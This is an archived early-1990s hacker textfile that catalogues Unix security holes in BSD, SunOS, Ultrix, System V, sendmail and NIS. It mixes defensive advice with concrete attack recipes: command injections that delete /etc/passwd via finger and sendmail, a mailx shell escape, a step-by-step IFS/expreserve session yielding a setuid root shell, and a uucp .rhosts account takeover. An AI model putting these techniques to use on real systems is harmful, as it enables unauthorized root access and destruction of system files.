💾 Archived View for spam.works › mirrors › textfiles › hacking › holes.txt captured on 2023-06-14 at 16:52:12.
-=-=-=-=-=-=-
#HoleList
#v1 - Wed Apr 7 13:38:08 MDT 1993
Operating System Description (References)
---------------- ------------------------
BSD 4.1 mail directly to a file ()
BSD 4.1 exec sgid program, dump core, core is sgid ()
BSD 4.1 lock -- compiled in password "hasta la vista" ()
BSD <4.2 IFS w/ preserve bug w/vi ()
BSD <4.2 suspend mkdir, ln file you want to dir ()
BSD 4.2 lock -- compiled in password "hasta la vista" ()
BSD 4.2 ln passwd file to mail spool, mail to user file ()
BSD 4.2 can truncate read only files ()
BSD 4.2 finger "string|/bin/rm -f /etc/passwd"@foo.bar ()
BSD 4.2 ln -s target ~/.plan; finger user to read file ()
BSD 4.2 lpr file; rm file; ln -s /any/filename file ()
BSD 4.2 adb su; change check in memory; shell out ()
BSD 4.2 race condition, can get root via "at" ()
BSD 4.3 ftp -n; quote user ftp; cd ~root, get root priv ()
BSD 4.3 lpd can overwrite file ()
BSD 4.3 ln -s /any/suid/file -i ; -i Get suid shell ()
BSD 4.3 fchown (2) can chown _any_ file ()
BSD 4.3 race condition (expreserve?), root via "at" ()
BSD 4.3 passwd chokes on long lines, splits pw file ()
4.3 Tahoe chfn -- allows newlines, meta chars, bufsize ()
4.3 Tahoe login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
? Overwrite gets buffer -- fingerd, etc ()
? uudecode alias can overwrite root/daemon files ()
? /bin/mail ; !/bin/sh Get uid=bin shell ()
? rwall bug ()
? adb the running kernel, shell out and get root ()
? mail to any non-root owned file, try twice ()
? rshd: spoof via nameservice-- rsh target -l uid ()
SunOS 386i/4.01? login -n root (no password) ()
SunOS 3.5 connect w/acct;user root;ls;put /tmp/f/ tmp/b ()
SunOS 4.0/4.01 chsh (similar to chfn) ()
SunOS 4.0x? anyone can restore a file over any other file ()
SunOS 4.0x? chfn -- allows newlines/meta chars bufsize ()
SunOS 4.0x? rcp with uid -2; only from PC/NFS ()
SunOS 4.0x? ln -s /any/suid/file -i ; -i Get suid shell ()
SunOS 4.0x? Selection service can remotely grab files ()
SunOS 4.0.3 mail to any non-root owned file, try twice ()
SunOS 4.0.3 login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
SunOS 4.1 Shared libs accept relative paths w/ suid ()
SunOS 4.1 rshd: spoof via nameservice, rsh target -l uid ()
SunOS ? adb the running kernel, shell out and get root ()
SunOS ? ftp -n; quote user ftp; ect Gets root privs ()
SunOS ? symlink .plan to target file, finger user()
SunOS ? Overwrite gets buffer -- fingerd, etc (3.5) ()
SunOS ? rwall bug (<= 4.01 yes) ()
SunOS ? lpd can overwrite file ()
SunOS ? the window manager can be used to read any file ()
SunOS ? rexd -- any can get root access if enabled ()
SunOS 4.0.3 rcp buffer overflow ()
AIX ? rexd -- any can get root access if enabled ()
SunOS 4.1.x comsat can overwrite any file ()
SunOS 4.1.x ptrace allows to become root ()
SunOS 4.1.x openlook: telnet 2000; executive,x3, run ps int ()
Ultrix 2.2 ln passwd file to mail spool, mail to user ()
Ultrix 2.2 can get root on NFS host via root via mountd ()
DYNIX 3.? can get root on NFS host via root via mountd ()
Ultrix 3.0 lock -- compiled in password "hasta la vista" ()
Ultrix 3.0 any user can mount any filesystem ()
Ultrix 3.0 login can run any program with root privs ()
Ultrix 3.0 X11 doesn't clear passwords in mem; /dev/mem ()
Ultrix 3.0 ln -s target ~/.plan; finger user to access ()
Ultrix 3.1? rshd: spoof via nameservice, rsh target -l uid ()
Ultrix 3.1- limit file 0; passwd -->zero's out passwd file ()
Ultrix 3.1- lpd can overwrite any file (back to 2.0?) ()
Ultrix 4.1- overflow Risc register buffer, get root w/ mail ()
Ultrix ? chfn -- allows newlines, meta chars, bufsize ()
Ultrix ? ftp -n; quote user ftp; ect Gets root privs ()
Ultrix ? can change host name, mount any filesystem ()
Ultrix ? uudecode alias can overwrite root/daemon files ()
SYSV ? IFS, other environment at "login:" prompt ()
SYSV 4 write to files; race condition using mkdir & ln ()
SYSV 4- expreserve problem/race condition ()
IRIX rsh <host> -l "" <command> runs as root ()
Stellix 2.0 rsh <host> -l "" <command> runs as root ()
IRIX ? login: -r hostname
ruser^@luser^@term^@ ()
DYNIX ? login: -r hostname
ruser^@luser^@term^@ ()
IRIX ? login: -r hostname
ruser^@luser^@term^@ ()
HPUX 7.0 chfn -- allows newlines, etc ()
HPUX 7.0- chfn -- allows newlines, etc (new bug) ()
Domain/OS <10.3 break root by using s/rbak; setgid/uid ()
Amdahl UTS 2.0 NFS mountd only uses hostname as authentication ()
SCO ? rlogin to any acct from trusted host w/o passwd ()
BellTech SYSV/386 ulimit 0; passwd ==> zero's out passwd file ()
Microport 3.0 ulimit 0; passwd ==> zero's out passwd file ()
SunOS < 4.0 any user can run yp server ()
SunOS 4.01 ypbind/ypserv, SunOS 4.01; need 3 machines ()
SunOS 4.03 ypbind/ypserv, SunOS 4.01; need 3 machines ()
SunOS 4.03 concurrent yppasswd sessions can trash yp map ()
SunOS 4.0.3 ypserv sends maps to anyone who has domainame (ypsnarf)
Ultrix 3.1 ? allows newlines, meta chars, buffsize problem ()
Ultrix ? yppasswd leaves yp data files world writable ()
Ultrix ypbind takes ypset from all; anyone can play yp DB server ()
BSD 4.1 Sendmail: can mail directly to a file ()
SunOS 4.03 Sendmail: can mail directly to a file ()
Sendmail <=5.61 can mail to any file not root owned, have to try twice ()
5.61 Sendmail: groups incorrectly checked, can get any group ()
SunOs 4.1 Sendmail: groups incorrectly checked, can get any group ()
Ultrix 2.2 Sendmail: -C file ==> displays any file ()
DYNIX 3.0.14 Sendmail: -C file ==> displays any file ()
Ultrix 2.0? Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any ()
HP_UX Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any ()
Sendmnail < 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail... ()
IRIX 3.3/3.31 Sendmail: any user can read any other user's mail ()
? wiz; shell get root shell ()
X11R ? snoop on keyboards and bitmaps ()
X11R3-4 can set log on, execute commands (fixed in "fix-6") ()
Sun 4.03 uucico can show ph num, login, passwd, on remote machine ()
SunOS icmp errors not handled correctly; log off users remotely ()
Ultrix icmp errors not handled correctly; log off users remotely ()
SunOS emacsclient/server allows access to files ()
Ultrix emacsclient/server allows access to files ()
=========
GENERAL
=========
1. Do not allow usernames to contain any of the following characters ";~!`"
(or any shell meta-charaters). This allows setuid root programs that
popen to be spoofed.
2. Never allow a setuid to root program to send a mail message that the user
creates to either the Berkeley mailer or mailx. All a user has to do
to break root is to send a line such as:
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
escape to be executed if the line starts in column one of stdout while
entering the message text.
3. Most security holes in UNIX are related to incorrect setting of directory
and file permissions or race conditions in the kernel that allow setuid
programs to be exploited. All non-standard setuid programs should be
examined.
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
break security relatively easily. MIT's PROJECT ATHENA came up with
Kerberos to address these problems, networks are usually very insecure.
5. The mount command should not be executeable by ordinary users. A setuid
program on a mountable disk is NOT TO BE TRUSTED.
6. Systems that allow read-only mounting of foriegn disk are a security
hole. Setuid programs are normally honored. This allows a person who
has root access on a foriegn machine to break it on another.
7. Expreserve can be a huge hole (see the following)
/dev/fb
the frame buffer devices on at least suns are world
readable/writeable, which is at best annoying (when
someone runs something strange on you) and at worst
insecure (since someone can take a snapshot of your screen
via screenload or whatnot)
/dev/*st*, *mt*, etc (tape devices)
generally world readable/writeable, bad since others can
nuke your tapes, read your backups, etc.
chfn, chsh
used to create a root account
core
will system dump a setgid core image?
domain name system
a sysadmin running the soa for a domain somewhere can
create a bugs reverse address mapping table for one of his
hosts that causes its IP address to have the domain name
of a machine that my host has in its hosts.equiv file. if
i'm using the usual version of 'istrusted' (I think that's
the routine's name), the address lookup reveals the name
of the host to be one that my host trusts, and this other
sysadmin can rlogin into my machine or rsh or whatnot at
will.
fchown
test for bad group test
ftruncate
can be used to change major/minor numbers on devices
fingerd
hard .plan links - reading unreadable files readable by
user(fingerd)
setuid, .plan links
running as root
(fingerd_test.sh)
buffer overrun
file mod test.
test of file does not loose the setuid bit when modified
ftp
ftpd
static passwd struct overwrite
4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?).
overwrite stack somehow?
hosts.equiv
default + entry
istrusted routine - easy to spoof by bad SOA at remote
site with hacked reverse address map.
lock
4.1bsd version had the password "hasta la vista" as a
builtin trapdoor. (found in ultrix)
lost+found, fsck
lost+found should be mode 700, else others might see
private files.
lpd
its possible to ovberwrite files with root authority with
user level access locally or remotely if you have local
root access
lpr
lpr -r access testing problem
lprm
trusts utmp
passwd
fgets use allows long entries which will be mangled into
::0:0::: entries
also allows:
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
fred:...:...:...:Fred.....
Flintstone::/bin/sh
which is a root entry with no password!
fix - should skip to eol if it didn't read whole entry,
should enforce buffer limits on text in file, don't use
atoi (since atoi(/bin/sh) is 0).
portmap
allows other net entities to make bindings - may not be a
"security hole", can lead to denial of service.
rcp
nobody problem
rexd
existence
rwall,comsat
running as root, utmp world writeable, writes to files as
well as devices in utmp dev fields.
rdist - buffer overflow
selection_svc
allowed remote access to files
sendmail
debug option
wizard mode
TURN command
allows mail to be stolen
decode mail alias - anyone can send mail to decode, write
to any file onwed by daemon, if they can connect to
sendmail daemon, can write to any file owned by any user.
overflow input buffer
cause the sendmail deamon to lock up
overwrite files
sendmail can be "tricked" into delivering mail
into any file but those own my root.
-oQ (different Q)
fixed in newer versions
mqueue must not be mode 777!
what uid does |program run with?
sendmail -bt -C/usr/spool/mail/user - in old versions,
allows you to see all lines of the file.
setuid bit handling
setuid/setgid bit should be dropped if a file is modified
fix: kernel changes
setuid scripts
there are several problems with setuid scripts. is it
worth writing tests for these? some systems might have
fixed some of the holes - does anyone know how one fixes
these problems in a proactive fashion?
sh
IFS hole (used with vi, anything else?)
su
overwrite stack somehow?
tcp/ip
sequence number prediction makes host spoofing easier
source routing make host spoofing easier
rip allows one to capture traffic more easily
various icmp attacks possible
(I suspect a traceroute'd kernel will allow one to easily
dump packets onto the ethernet)
tftp
allows one to grab random files (eg, /etc/passwd).
fix - should do a chroot
allows puts as well as gets, no chroot
fix - don't run as root, use chroot, no puts, only if boot
server.
utmp
check to see if world writeable (if so, the data can't be
trusted, although some programs are written as though they
trust the data (comsat, rwalld)).
uucp
check if valid uucp accounts are in the /etc/ftpusers. If
the shell is uucico and passwd is valid make sure it is
listed in ftpusers.
check to see that uucp accounts have shell: if left off,
folks can do:
cat >x
myhost myname
^D
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i
HDB nostrangers shell escape
HDB changing the owner of set uid/gid files
HDB meta escapes on the X command line
HDB ; breaks on the X line
uudecode
if it is setuid, some versions will create setuid files
ypbind
accepts ypset from anyone (can create own ypserv and data,
and ypset to it...)
ypserv spoofing
send lots of bogus replies to a request for root's passwd
entry, while doing something that would generate such a
request [I'm pretty sure that this is possible, but
haven't tried it.]
AIX
* password means use root's password?
AIX 2.2.1
shadow password file (/etc/security/passwd) world
writeable
fix - chmod 600...
386i login
fix - nuke logintool, hack on login with adb, chmod 2750
ultrix 3.0 login
login -P progname allows one to run random programs as root.
fix - chmod 2750.
xhost:
if access access control is disabled any one can connect to
a X display it is possible and create (forge) and/or
intercept keystrokes.
=========
GENERAL
=========
1. Do not allow usernames to contain any of the following characters ";~!`"
(or any shell meta-charaters). This allows setuid root programs that
popen to be spoofed.
2. Never allow a setuid to root program to send a mail message that the user
creates to either the Berkeley mailer or mailx. All a user has to do
to break root is to send a line such as:
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
escape to be executed if the line starts in column one of stdout while
entering the message text.
3. Most security holes in UNIX are related to incorrect setting of directory
and file permissions or race conditions in the kernel that allow setuid
programs to be exploited. All non-standard setuid programs should be
examined.
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
break security relatively easily. MIT's PROJECT ATHENA came up with
Kerberos to address these problems, networks are usually very insecure.
5. The mount command should not be executeable by ordinary users. A setuid
program on a mountable disk is NOT TO BE TRUSTED.
6. Systems that allow read-only mounting of foriegn disk are a security
hole. Setuid programs are normally honored. This allows a person who
has root access on a foriegn machine to break it on another.
7. Expreserve can be a huge hole (see the following)
==================================
BSD 4.2 and earlier BSD releases
==================================
The following is a security hole that exists in the BSD 4.2 flavors of
UNIX. This bug is associated with /usr/lib/expreserve being setuid to root and
the shells IFS (internal field seperator) variable. Expreserve executes a line
such as:
if ((fp = popen("/bin/mail USER", "w")) != NULL) {
...
The implementation of popen(3C) has an exec(2) call of the form:
execl("/bin/sh", "sh", "-c", POPEN_ARG_1, (char *) 0);
what this does is the /bin/sh telling to to run command such as
sh -c "/bin/mail USER"
where SHELL is running with an effective user id of root. The change of IFS
caused shell to parse the command as "bin mail USER" and executes the shell
script "bin" in the current directory which copies a version of the C shell
and makes it setuid to root. The SIGHUP to ex(1) causes expreserve to be
invoked to preserve the user's editing session and send the user mail telling
him that a copy of his buffer was saved, etc, etc. The fix was accomplished
by not having the sh do $IFS processing to the argument following a "-c"
option.
% mkdir $; cd $
% touch bin ; chmod a+rx bin
%set path=(. $path)
% cat > bin << END-O-FILE
#!/bin/csh -f
setenv IFS' ^I'
/bin/cp /bin/csh .
/bin/chmod u+s csh
END-O-FILE
% setenv IFS /
% ex bin
"bin" LLL lines CCC characters
:s/c/cc/
#!/bin/ccsh -f
:stop
[1] + Stoppedex bin
% kill -HUP %ex
% wait
%ls -l csh
-rwsr-xr-x 1 root78848 Jan 7 1986 csh*
% ./csh
#This works only on 4.2BSD, was fixed in 4.3BSD.
=================================
SYS V and earlier AT&T releases
=================================
The following will work work on SVR2 (USG) and earlier AT&T release,
as long as you can create a file on the same file system as /etc/passwd.
There is a race condition in /bin/mkdir [mkdir(1)] which first
mknod(2)s the directory then chown(2)s the directory to the real
uid of the process:
if (mknod(dir, S_IFDIR | 0777) == 0)
chown(dir, getuid(), getgid());
if there is a context switch after the mknod(2) call and the
parent process unlink(2)s the node and creates the link before
the mkdir process runs again then the /bin/mkdir chown(2)s the
link to be owned by you.
On many systems /tmp is on the same file system as /. Otherwise other
files need to be located that can be compromised. This is caused
by the lack of a mkdir system call. If /bin/mkdir is setuid to root
then this should work. Assuming /tmp is on the same file system as
/etc then one could that would be invoked like the following:
breakdir /etc/passwd /tmp/foo
and would change your uid to root.
=================
SVR.0 to SVR3.2
=================
Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs
setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs.
There it creates a file owned by the atjob submitter. On many systems
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
chdir(2) to that directory. Many System V crons determine what uid to run
the atjob by the file's owner. Breaking security can be as simple as cding
to cron and change the owner of an atjob you submitted to root.
Alternatively, an atjob that submits another atjob on some systems
will run as root (I don't know why).
===============================================
BSD 4.3 AND EARLIER SYSV SUNOS (SOMETIMES)
===============================================
Well folks:
I have found a rather barbaric race condition in expreserve that allows
the setuid program to be compromised by changing the permissions of a file.
This bug exists in all expreserves up to and including Berkeley 4.3. (well
not quite). On all System V and earlier releases this works. Under System V
expreserve places the Ex temp file in the directory:
/usr/preserve/$USER
and under the Berkeley releases it places them under either:
/usr/preserve
or
/var/preserve (SUN0S 4.X)
This "feature" will definitely allow security to be breached on all standard
System Vs (non-secured) and all Berkeley-ish systems that have /usr/preserve
writeable by the user (Note: SUNOS has this directory UNWRITEABLE). The
System V bug was relatively unavoidable (until SVR4) but the Berkeley bug
should have been fixed as soon as the fchown(2) system call was added to BSD.
Basically the "hole" is that expreserve does:
fd = creat("/usr/preserve/Exaaa$PID, 0600);
chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);
when it should do a:
fd = creat("/usr/preserve/Exaaa$PID, 0600);
fchown(fd, real_uid, real_gid);
which avoids the race (it changes the permission on the inode that was
creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID). The
previous examples are actually simplified as expreserve actually looks at the
uid and gid as stored in the /tmp/Ex$PID file and compares them to the
getuid() and getgid() return values.
The actual "race" is that a context switch may occur between the creat(2)
and chown(2) in expreserve that allows another process with write permission
to the target directory to unlink(2) the creat(2)ed file and place a hard
link to another file by that name in the target directory, which expreserve
subsequentlies chown(2)s to your uid. This "feature" allows any file on the
same device to be owned by you. From my reading on symbolic links, this should
also work with symlinks BUT DOES NOT atleast under SUNOS 4.X and HPUX.
According to my 4.3BSD Programmer's Reference Manual chown(2) SHOULD change
the permissions on the file pointed to by the symlink as one of its failure
conditions is:
[ELOOP] Too many symbolic links were encountered in
translating the pathname.
This implies to me that a chown(2) on a symbolic link should chown(2) the file
pointed at by the link, but under SUNOS4.X and HPUX (A.B2.10) it changes the
permission on the symbolic link (funny, I thought symlinks were always mode
lrwxrwxrwx). Both man pages for SUNOS and HPUX also include the ELOOP
failure condition for chown(2). This bug is usable to place trojan horse
in ``trusted'' directories [(e.g.) /usr/bin]. The trojan horse I would
place there is a program that fork(2)s and exec(2)s a program giving me a
setuid to root shell if the euid is equal to root and then execs the real
program and then restores everything to what it was.
The procedure for utilizing this bug is to create a VALID non-zero length
/tmp/Ex$PID file and copy it the the directory were the cracking program is
located under the name "data". To do this edit a junk file, make some
changes and escape to a shell and check the /tmp directory for a non-zero
length Ex$PID file owned by you, copy it to the cracking directory and run
the program that follows. Note: This program needs to be modified to run
under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been
tested under SUNOS 4.X and HPUX. I haven't had time to modify it yet, but it
will definitely work under System V.
There are four ways to gain unauthorized (root) privileges:
- Knowing a (root) password. This should be easy to prevent.
- Using setuid programs. Even in case of configuration errors, like mode
666 on the passwd file, unauthorized privileges are granted by
(system) suid programs like login, passwd, etc.
- Bad system calls. This was an issue in older versions. For instance,
setgid(-1) did strange things on some old UNIX versions. This
doesn't really happen anymore.
- Fooling daemons running as root. This is the largest problem. Editing the
crontab, playing with sendmail falls under this category, but also
the network can be misused. For instance, you can write a program
that talks to ypserv, or nfsd, or anything. Also, daemons use
configuration files, which shouldn't be readable.
Most security violations occur due to bad file protections, exploited
with normal commands, not C source code. Another problem is old or bugged
programs, in particular (2) setuid programs and (4) daemons.
Most hackers don't use source code, but I think if a hacker uses source
to exploit a problem, it'll be impossible to find a search pattern that
can deterministically state if a program is good or bad.
<wabbit> it was a bug for _years_ in the ftp server.
<wabbit> bsd4.2 had it.
<wabbit> and 4.3
Bug reference sheet
Comfirmations, additions, changes to: df@cert.sei.cmu.edu
Last change made: Dec 12, 1990
4.X BSD
Version problem
---------------------
4.1 can mail directly to a file
run set gid program, dump core, is set gid of owner
lock -- compiled in password "hasta la vista", plus can ^Z
Pre 4.2? IFS w. preserve bug in vi
suspend mkdir, ln file you want to dir, you own file
4.2 lock -- compiled in password "hasta la vista"
ln passwd file to mail spool, mail to user ==> file
can truncate read only files
finger "string | /bin/rm -f /etc/passwd"@foo.bar
ln -s target ~/.plan; finger user to read any file.
lpr file; rm file; ln -s /any/filename file ==> prints file
adb su; change check in memory; shell out; su ==> root.
race condition, can get root via "at"
4.3 ftp -n; quote user ftp; ect. Gets root privs.
lpd can overwrite file
ln -s /any/suid/file -i ; -i Get suid shell.
fchown (2) can chown _any_ file
race condition (expreserve?), can get root via "at"
passwd chokes on long lines, splits pw file ==> root access
4.3 Tahoe chfn -- allows newlines, meta chars, bufsize problem
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
? Overwrite gets buffer -- fingerd, etc
uudecode alias can overwrite root/daemon owned files
/bin/mail ; !/bin/sh Get uid=bin shell
rwall bug.
adb the running kernel, shell out and get root
sendmail can mail to any non-root owned file, have to try twice
rshd -- spoof via nameservice, rsh target -l uid
SunOS
Version problem
---------------------
386i/4.01? login -n root requires no password
3.5 ftp -- connect w. acct; user root; ls; put /tmp/foo /tmp/bar;
result is owned by root
4.0 && 4.01 chsh -- similar to chfn
4.0x? anyone can restore a file over any other file.
chfn -- allows newlines, meta chars, bufsize problem.
rcp with uid -2; only from PC/NFS.
ln -s /any/suid/file -i ; -i Get suid shell.
Selection service can remotely grab files.
4.03 sendmail can mail to any non-root owned file, have to try twice
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
4.1 Shared libs accept relative paths when running suid (e.g. xterm.)
rshd -- spoof via nameservice, rsh target -l uid
? adb the running kernel, shell out and get root
ftp -n; quote user ftp; ect. Gets root privs.
symlink .plan to target file, finger user to read.
Overwrite gets buffer -- fingerd, etc. (3.5)
rwall bug (<= 4.01 yes).
lpd can overwrite file
the window manager can be used to read any file
rexd -- any can get root access if enabled
4.03- rcp buffer overflow
4.1- comsat can overwrite any file
ptrace allows to become root
under openlook; telnet port 2000; executive,x3, run the ps interp.
Ultrix
Version problem
---------------------
2.2 ln passwd file to mail spool, mail to user ==> file
can get root on host running (some) NFS from a root account
on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)
3.0 lock -- compiled in password "hasta la vista"
any user can mount any filesystem
login can run any program with root privs
X11 doesn't clear passwords in memory; /dev/mem is world readable.
ln -s target ~/.plan; finger user to read any file.
3.1- limit file 0; passwd ==> zero's out passwd file
lpd can overwrite any file (back to 2.0?)
4.1- overflow Risc register buffer, get root through mail.
? chfn -- allows newlines, meta chars, bufsize problem
ftp -n; quote user ftp; ect. Gets root privs.
can change host name, mount any filesystem
uudecode alias can overwrite root/daemon owned files
3.1? rshd -- spoof via nameservice, rsh target -l uid
System V
Version problem
---------------------
? can set IFS, other environment at "login:" prompt
SVR4- expreserve problem/race condition.
pre SVR4 write to files; race condition using mkdir & ln
SGI (Iris?), MIPS, Steller
---------------------------
Stellix 2.0 rsh <host> -l "" <command> runs as root
RISC/os 4.51, DYNIX
Stellix 2.1 login: -r hostname
ruser^@luser^@term^@
HP-UX
Version problem
--------------------
7.0- chfn -- allows newlines, etc. Different bug with 7.0.
Apollo
Version problem
--------------------
10.x(max10.3)break root by using s/rbak; problem is in setgid/uid
Amdahl UTS
Version problem
--------------------
2.0 NFS mountd only uses hostname as authentication; easy to spoof.
SCO
Version problem
---------------------
? can rlogin to any acct (root, etc.) to trusted host w/o password
Bell tech sys V/386
--------------------
Microport 3.0 ulimit 0; passwd ==> zero's out passwd file
YP
---------------------
Pre 4.0 any user can run yp server
4.01/4.03 ypbind/ypserv, SunOS 4.01; need 3 machines
4.03 concurrent yppasswd sessions can trash yp passwd map
ypserv will send maps to anyone who can guess the domainame
Ultrix3.1/? allows newlines, meta chars, buffsize problem
? yppasswd leaves yp data files world writable
ypbind takes ypset from all; anyone can say they are yp DB server.
Sendmail
---------------------
4.1 BSD can mail directly to a file
Sun 4.03,
<=5.61 can mail to any file not root owned, have to try twice
5.61, 4.1Sun,
lots others? groups incorrectly checked, can get any group
Ultrix 2.2,
DYNIX 3.0.14 -C file ==> displays any file.
Ultrix 2.0?
HP_UX versions 1.2&13.1 sm, -oQ ==> can read/write any file
< 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail....
IRIX 3.3/3.31 any user can read any other user's mail.
? wiz; shell get root shell
X
---------------------
X11R? snoop on keyboards and bitmaps.
X11R3-4 can set log on, execute commands (fixed in "fix-6")
UUCP
---------------------
Sun 4.03 uucico can show ph num, login, passwd, on remote machine.
TCP/IP
---------------------
icmperror errors not handled correctly; log off users remotely.
Misc
---------------------
Gnuemacs emacsclient/server allows access to files.
I still need to type 2 more of these in, for now see what you can add to
them.
================
ULTRIX.LST
Mike Burrows - burrows@src.dec.com 8/88
Berkeley (4.2, maybe also 4.3 + sun + ultrix)
========
You can get a root shell from a standard sendmail by typing
a wizard password (wiz?) and "shell" (fixed after 4.2?)
Chfn, chsh rename their tmp(=lock) files to /etc/passwd before
fflushing() so there is a window when the passwd file is null
and unlocked. Running one right after another zaps the passwd
file if it hits the timing hole.
chfn allows you to put massive field in in passwd file
which breaks getpwent()
passwd(1) leaves the passwd file locked if the user sets
a file size limit before running the programme.
passwd(1), chfn, chsh etc don't detect corrupt pw entries
they add new ones - particularly ones with a null name, passwd
and zero uid -> su "" works without password.
lpr will print any file if you use the -s flag (can't copy)
and then rename file. (fixed in 4.3)
lpr will remove any file in / with the -r option (luckily
won't remove unix image because it refuses to print an a.out)
ptrace modifies shared text. You can modify the text of any
readable binary in-core. This allows immediate breakin with
suid progs by writing short C prog. Even just using adb,
you can set break points to stop any one using a given programme.
vi runs expreserve when HUPed. expreserve is suid and it runs
sh -c "bin/mail..." or similar. Fun with IFS=. I have
seen this on lots of systems.
4.2+ultrix systems (suns too?) have /dev/kmem and /dev/mem readable!!!
== open system They even provide an unprivileged utility
to core dump other processes. (you just recompile it with
a security check removed, or patch the binary)
ioctl (TIOCSTI) - simulate terminal input on controlling tty -
fine, but you can set your controlling tty to be anything after
using ioctl (TIOCNOTTY) (fixed in 4.3)
You can send SIGINT, SIGHUP, SIGQUIT and SIGTSTP to any process on the
system by changing your tty process group to the group of the target
process and hitting intr, logging out, hitting quit or hitting susp.
(fixed in 4.3??)
On the sun (and other system with window displays?) /etc/utmp is
publicly writable, so the window system can put the pty in it.
This makes it easy to fake your userid on anything that believes
getlogin(3)
suid shell scripts will run the .profile file if you make a link to
them with name - suid shell scripts should NEVER be allowed for
other reasons anyway e.g. IFS=. Similarly with csh.
In ultrix, the physical ethernet address of a machine can be
changed by any user. -> denial of service.
Berkeley network security is based on "reserved ports" - therefore,
this is trivial to break if you have your own workstation
vhangup system call is meant to disconnect all processes from current
controle terminal. However, they can reopen the terminal as /dev/tty
even if the tty permissions have changed since their controle tty is
not zeroed.
most suid programmes don't expect resource usage signals,
timeout signals.
Other systems, generic and general bugs
=======================================
Some versions of uusend call "uux" on the PATH while suid to root.
Some news receivers execute shell commands sent down the news feed.
In NFS, exec permission is equivalent to read. In general, NFS
protection is lousy. Over an ethernet, it is non-existent.
(it took 10 minutes work for one of our undergraduates to understand,
construct, and send a packet to delete a file using NFS)
Information/guest logins release userids
Users can write a trojan horse ls/su programme
Fixes:
1) change default PATH to /bin:/usr/bin:.
2) fix shell so it won't exec from a relative path
unless directory is not writable by other users
3) important progs like "su" could require argv[0]
to be /bin/su
Bogus getty/login. Fixes:
1) all lines should come in over a network interface to
a port that cannot be accessed by anyone but root.
2) terminal driver should have a hardwired escape (e.g. line
break) that always zaps all processes with the terminal
open. (see vhangup above)
Idle logout helps things a little
insecure reboot (fix is to use a 3b2? - pity the 3b2 is unusable)
have single user mode spawn /bin/login?
Many daemon and/or support programmes are insecure when invoked
directly by the user. Often mail can be forged this way.
Fix is to stop normal users exec'ing such progs.
Some root suid programmes dont have to be suid to root but are.
Many mail systems keep user mail files readable by other users.
They also keep temp files readable by others.
Passwords should be significant to longer than eight characters,
or passwd should warn about characters being lost.
system(3) and popen(3) should NEVER be called by suid programmes
or programmes that are ever called by suid programmes.
Even versions of system(3) that say setuid(getuid()) have lots of
holes (the programme doesn't give its uid to a random programme, but
it is acting on information given to it by a random programme)
Some versions of rmdir are broken on systems without a rmdir syscall.
Allows you to remove ..
(was on the net with bugfix)
(similar problems with rm -r?? mv?? mvdir script?)
crypt(1) is too weak to be trusted by anyone. An average CS student
can break it. The manual should say so. A better encryption scheme
should be provided (Wheeler encryption is faster in software but more
secure)
Most systems have tty's generally writable. Write should be suid
and should not allow arbitrary controle characters. It should
also be possible for a user to force a write to him to die (cf
hanging up the phone)
Even console should not be generally writable - all logging should
not block. Otherwise, e.g. a user can make the console run out
of paper, or can send it interesting controle codes.
getlogin(3) ttyslot(3) ttyname(3) don't find/use controlling terminal.
They use stdin instead. They are sometimes used for security checks
=> useless security check.
Lots of "denial of service" bugs due to lax resource allocation.
It's easy to hog the processor, memory, disc, tty bandwidth
Advisory locks have no seperate permissions bits. Easy to lock out
any daemon that uses them. All files used for locking should not
have read or write permission for "others"
Most suid programmes don't expect to get filesize limit signals,
SIGALRMs.
================
KNOWN SECURITY HOLES ON UNIX SYSTEMS
HP CONFIDENTIAL!
LAST UPDATED 850312
List collected by Alan Silverstein. All security problems
listed are correctable on site unless noted with "S" (sensitive)
in the left margin. (In "sanitized" versions of this list, all
such lines are removed.) If this list is incomplete, please send
me additions or corrections.
This is a "sanitized" list, also generalized from HPUX to
generic UNIX.
BASIC PRINCIPLES OF GOOD SECURITY:
* Physical control of equipment.
* Management committment to security.
* Employee education on what is expected of them.
* Administrative procedures designed to increase security.
* Concealment alone is not security.
* Better to know you are not secure, than falsely think you are.
* HARDWARE: Anyone who can connect the root disc to another
system and mount it can break security. Anyone who can mount
a personal volume on the local system can do the same. If
init state 1 starts any shells without going through login,
anyone who reboots the system can be super-user.
Solution: Physical security, no removable mass storage
volumes (or protected mount(1) command), and an init state 1
which requires login.
* FILE SYSTEM: Sloppy ownerships/permissions are a common
problem, particularly on special files.
Solutions: Be sure the filesystem is generally secure.
Special files like /dev/mem, /dev/kmem, and /dev/rhd should
not even be readable except by super-user. Use a default
umask of 022 (see sh(1)) so new files are not writable except
by the owner.
* ROOT DIRECTORY: It must be 555 (unwritable), owned by root.
If unprotected, any user can move /etc and create their own
/etc/passwd file (and so on).
Solution: Protect root directory.
Comment: Pre-4.0 versions of sdfinit(8) (Series 500 only)
left new volumes set to 777. It's necessary to do "ls -ld /"
to check this.
* PUBLIC DIRECTORIES: In general, most of them must be owned by
root, other, and set to be unwritable. In particular /etc,
/usr, /usr/lib, and the super-user's login directory are
sensitive due to system config and .profile files there.
